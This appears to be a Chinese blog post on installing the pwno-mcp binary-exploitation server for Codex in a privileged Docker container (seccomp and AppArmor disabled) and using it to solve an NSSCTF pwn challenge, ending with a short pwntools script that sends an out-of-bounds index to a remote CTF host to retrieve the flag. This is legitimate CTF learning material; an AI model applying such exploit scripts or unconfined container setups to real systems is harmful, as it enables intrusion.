pwno-mcp体验
原创
Helloleader
Helloleader
渝安服
2026年7月10日 10:40
重庆
在小说阅读器读本章
去阅读
pwno-mcp体验
1.安装环境
前提环境
需要docker环境,和codex环境。
docker安装就不说了,简单说下codex
先安装codex,我这里是intel的mac版本,就直接下载安装包:
https://github.com/openai/codex/releases/
将包里面的codex移动到任意目录后,
sudomv codex /usr/local/bin
然后运行codex登陆后就行,其他版本参考https://m.runoob.com/codex/codex-install.html
pwno-mcp说明:https://docs.pwno.io/quickstart
在 Codex 中添加 MCP 配置
编辑 ~/.codex/config.toml,追加下面这段:
[mcp_servers.pwno-mcp]url = \"http://127.0.0.1:5500/mcp\"
这一步只是告诉 Codex 去哪里连接 pwno-mcp。真正的服务还需要通过 Docker 启动。
可以用下面的命令检查配置是否已被识别:
codex mcp list
如果配置正确,输出里会出现:
pwno-mcp http://127.0.0.1:5500/mcp
2.启动docker容器
所有pwn的操作都在docker容器里面,然后mcp再传给gpt。
官方文档建议使用 Docker 启动,并保留所需能力与安全参数。实测可用命令如下:
docker run -d --name pwno-mcp -p 127.0.0.1:5500:5500 --cap-add=SYS_PTRACE --cap-add=SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined -v \"/Users/leader/Desktop/pwno-mcp:/workspace\" ghcr.io/pwno-io/pwno-mcp:latest
参数说明
--name pwno-mcp:固定容器名称,便于后续查看日志和重启。
-p 127.0.0.1:5500:5500:把本地 5500 端口映射到容器。
--cap-add=SYS\_PTRACE、--cap-add=SYS\_ADMIN:保留调试和分析所需能力。
--security-opt seccomp=unconfined、--security-opt apparmor=unconfined:保持和官方 Quick Start 一致。
-v \"宿主机目录:/workspace\"`:把本地目录挂载到容器内。
检查容器状态
docker ps --filter name=pwno-mcp
3.解题
例题:
https://www.nssctf.cn/problem/2330
对话过程:
参考https://docs.pwno.io/quickstart内容,帮我检查是否安装pwno-mcp成功
最终脚本:
#!/usr/bin/env python3from pwn import *import re
context.binary = ELF(\"/workspace/service2\", checksec=False)context.arch = \"amd64\"context.log_level = \"info\"
HOST = args.HOST or \"node4.anna.nssctf.cn\"PORT = int(args.PORT or 20347)
INDEX = b\"-14\"VALUE = b\"0\"
def start(): if args.LOCAL: return process(context.binary.path) return remote(HOST, PORT)
def exploit(): io = start()
# The program only needs two integers; avoid waiting on prompts in case the # remote wrapper does not flush stdout. io.sendline(INDEX) io.sendline(VALUE)
data = io.recvall(timeout=3) if data: print(data.decode(\"latin1\", \"ignore\"))
match = re.search(rb\"[A-Za-z0-9_]+\\{[^}\
]+\\}\", data) if match: log.success(f\"flag: {match.group().decode()}\") else: log.warning(\"no output received from target\")
io.close()
if __name__ == \"__main__\": exploit()
题目如果比较卡,脚本会出错可能,因为我自己试过nc连,没有第一时间返回内容。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论